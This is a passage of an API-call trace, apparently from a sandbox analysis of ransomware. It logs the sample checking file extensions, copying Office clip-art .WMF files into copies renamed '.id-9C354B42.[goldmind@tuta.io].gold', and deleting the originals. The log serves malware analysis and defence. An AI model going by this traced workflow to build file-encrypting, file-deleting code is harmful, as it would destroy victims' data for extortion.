(lpString1=".dbf", lpString2=".WMF") returned -1 [0048.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0048.441] lstrlenW (lpString=".1cd") returned 4 [0048.441] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0048.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0048.442] lstrlenW (lpString=".jpg") returned 4 [0048.442] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0048.442] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0048.442] lstrlenW (lpString="AN00853_.WMF") returned 12 [0048.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0048.442] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=20578) returned 1 [0048.442] CloseHandle (hObject=0x178) returned 1 [0048.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf")) returned 0x20 [0048.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0048.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0048.442] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.442] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0048.443] GetLastError () returned 0x0 [0048.443] ReadFile (in: hFile=0x178, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x5062, lpOverlapped=0x0) returned 1 [0048.444] WriteFile (in: hFile=0x20c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x5070, lpOverlapped=0x0) returned 1 [0048.445] ReadFile (in: hFile=0x178, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.445] WriteFile (in: hFile=0x20c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.445] SetEndOfFile (hFile=0x20c) returned 1 [0048.445] CloseHandle (hObject=0x20c) returned 1 [0048.445] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.445] SetEndOfFile (hFile=0x178) returned 1 [0048.446] CloseHandle (hObject=0x178) returned 1 [0048.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0048.446] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf")) returned 1 [0048.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0048.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0048.446] lstrlenW (lpString=".doc") returned 4 [0048.446] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0048.446] lstrlenW (lpString=".docx") returned 5 [0048.446] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0048.446] lstrlenW (lpString=".pdf") returned 4 [0048.446] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0048.447] lstrlenW (lpString=".xls") returned 4 [0048.447] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0048.447] lstrlenW (lpString=".xlsx") returned 5 [0048.447] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0048.447] lstrlenW (lpString=".ppt") returned 4 [0048.447] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0048.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0048.447] lstrlenW (lpString=".zip") returned 4 [0048.447] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0048.447] lstrlenW (lpString=".rar") returned 4 [0048.447] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0048.447] lstrlenW (lpString=".bz2") returned 4 [0048.447] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0048.447] lstrlenW (lpString=".7z") returned 3 [0048.447] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0048.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0048.447] lstrlenW (lpString=".dbf") returned 4 [0048.447] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0048.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0048.447] lstrlenW (lpString=".1cd") returned 4 [0048.447] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0048.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0048.447] lstrlenW (lpString=".jpg") returned 4 [0048.447] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0048.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0048.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0048.447] lstrlenW (lpString=".doc") returned 4 [0048.447] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0048.447] lstrlenW (lpString=".docx") returned 5 [0048.447] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0048.447] lstrlenW (lpString=".pdf") returned 4 [0048.447] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0048.447] lstrlenW (lpString=".xls") returned 4 [0048.447] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0048.447] lstrlenW (lpString=".xlsx") returned 5 [0048.447] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0048.447] lstrlenW (lpString=".ppt") returned 4 [0048.447] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0048.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0048.447] lstrlenW (lpString=".zip") returned 4 [0048.447] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0048.447] lstrlenW (lpString=".rar") returned 4 [0048.447] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0048.447] lstrlenW (lpString=".bz2") returned 4 [0048.448] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0048.448] lstrlenW (lpString=".7z") returned 3 [0048.448] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0048.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0048.448] lstrlenW (lpString=".dbf") returned 4 [0048.448] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0048.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0048.448] lstrlenW (lpString=".1cd") returned 4 [0048.448] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0048.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0048.448] lstrlenW (lpString=".jpg") returned 4 [0048.448] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0048.448] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0048.448] lstrlenW (lpString="AN00914_.WMF") returned 12 [0048.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0048.449] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=10832) returned 1 [0048.449] CloseHandle (hObject=0x178) returned 1 [0048.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf")) returned 0x20 [0048.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0048.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0048.449] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.449] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0048.449] GetLastError () returned 0x0 [0048.449] ReadFile (in: hFile=0x178, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x2a50, lpOverlapped=0x0) returned 1 [0048.450] WriteFile (in: hFile=0x20c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x2a60, lpOverlapped=0x0) returned 1 [0048.451] ReadFile (in: hFile=0x178, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.451] WriteFile (in: hFile=0x20c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.451] SetEndOfFile (hFile=0x20c) returned 1 [0048.451] CloseHandle (hObject=0x20c) returned 1 [0048.451] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.452] SetEndOfFile (hFile=0x178) returned 1 [0048.452] CloseHandle (hObject=0x178) returned 1 [0048.452] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0048.452] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf")) returned 1 [0048.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0048.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0048.453] lstrlenW (lpString=".doc") returned 4 [0048.453] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0048.453] lstrlenW (lpString=".docx") returned 5 [0048.453] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0048.453] lstrlenW (lpString=".pdf") returned 4 [0048.453] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0048.453] lstrlenW (lpString=".xls") returned 4 [0048.453] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0048.453] lstrlenW (lpString=".xlsx") returned 5 [0048.453] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0048.453] lstrlenW (lpString=".ppt") returned 4 [0048.453] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0048.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0048.453] lstrlenW (lpString=".zip") returned 4 [0048.453] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0048.453] lstrlenW (lpString=".rar") returned 4 [0048.453] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0048.453] lstrlenW (lpString=".bz2") returned 4 [0048.453] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0048.453] lstrlenW (lpString=".7z") returned 3 [0048.453] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0048.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0048.453] lstrlenW (lpString=".dbf") returned 4 [0048.453] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0048.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0048.453] lstrlenW (lpString=".1cd") returned 4 [0048.453] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0048.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0048.453] lstrlenW (lpString=".jpg") returned 4 [0048.453] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0048.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0048.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0048.453] lstrlenW (lpString=".doc") returned 4 [0048.453] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0048.453] lstrlenW (lpString=".docx") returned 5 [0048.453] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0048.453] lstrlenW (lpString=".pdf") returned 4 [0048.453] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0048.453] lstrlenW (lpString=".xls") returned 4 [0048.453] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0048.453] lstrlenW (lpString=".xlsx") returned 5 [0048.454] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0048.454] lstrlenW (lpString=".ppt") returned 4 [0048.454] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0048.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0048.454] lstrlenW (lpString=".zip") returned 4 [0048.454] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0048.454] lstrlenW (lpString=".rar") returned 4 [0048.454] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0048.454] lstrlenW (lpString=".bz2") returned 4 [0048.454] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0048.454] lstrlenW (lpString=".7z") returned 3 [0048.454] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0048.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0048.454] lstrlenW (lpString=".dbf") returned 4 [0048.454] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0048.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0048.454] lstrlenW (lpString=".1cd") returned 4 [0048.454] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0048.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0048.454] lstrlenW (lpString=".jpg") returned 4 [0048.454] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0048.454] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0048.454] lstrlenW (lpString="AN00932_.WMF") returned 12 [0048.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0048.454] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=14428) returned 1 [0048.454] CloseHandle (hObject=0x178) returned 1 [0048.454] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf")) returned 0x20 [0048.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0048.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0048.455] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.455] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0048.455] GetLastError () returned 0x0 [0048.455] ReadFile (in: hFile=0x178, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x385c, lpOverlapped=0x0) returned 1 [0048.457] WriteFile (in: hFile=0x20c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x3860, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x3860, lpOverlapped=0x0) returned 1 [0048.457] ReadFile (in: hFile=0x178, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.457] WriteFile (in: hFile=0x20c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.457] SetEndOfFile (hFile=0x20c) returned 1 [0048.458] CloseHandle (hObject=0x20c) returned 1 [0048.458] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.458] SetEndOfFile (hFile=0x178) returned 1 [0048.458] CloseHandle (hObject=0x178) returned 1 [0048.458] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0048.459] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf")) returned 1 [0048.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0048.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0048.459] lstrlenW (lpString=".doc") returned 4 [0048.459] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0048.459] lstrlenW (lpString=".docx") returned 5 [0048.459] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0048.459] lstrlenW (lpString=".pdf") returned 4 [0048.459] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0048.459] lstrlenW (lpString=".xls") returned 4 [0048.459] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0048.459] lstrlenW (lpString=".xlsx") returned 5 [0048.459] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0048.459] lstrlenW (lpString=".ppt") returned 4 [0048.459] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0048.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0048.459] lstrlenW (lpString=".zip") returned 4 [0048.459] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0048.459] lstrlenW (lpString=".rar") returned 4 [0048.459] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0048.459] lstrlenW (lpString=".bz2") returned 4 [0048.459] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0048.459] lstrlenW (lpString=".7z") returned 3 [0048.459] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0048.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0048.459] lstrlenW (lpString=".dbf") returned 4 [0048.459] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0048.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0048.459] lstrlenW (lpString=".1cd") returned 4 [0048.459] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0048.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0048.459] lstrlenW (lpString=".jpg") returned 4 [0048.459] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0048.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0048.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0048.460] lstrlenW (lpString=".doc") returned 4 [0048.460] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0048.460] lstrlenW (lpString=".docx") returned 5 [0048.460] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0048.460] lstrlenW (lpString=".pdf") returned 4 [0048.460] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0048.460] lstrlenW (lpString=".xls") returned 4 [0048.460] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0048.460] lstrlenW (lpString=".xlsx") returned 5 [0048.460] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0048.460] lstrlenW (lpString=".ppt") returned 4 [0048.460] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0048.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0048.460] lstrlenW (lpString=".zip") returned 4 [0048.460] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0048.460] lstrlenW (lpString=".rar") returned 4 [0049.354] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.354] lstrlenW (lpString=".bz2") returned 4 [0049.354] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.355] lstrlenW (lpString=".7z") returned 3 [0049.360] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0049.360] lstrlenW (lpString=".dbf") returned 4 [0049.360] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0049.366] lstrlenW (lpString=".1cd") returned 4 [0049.366] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0049.367] lstrlenW (lpString=".jpg") returned 4 [0049.372] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.378] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0049.378] lstrlenW (lpString="AN04117_.WMF") returned 12 [0049.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 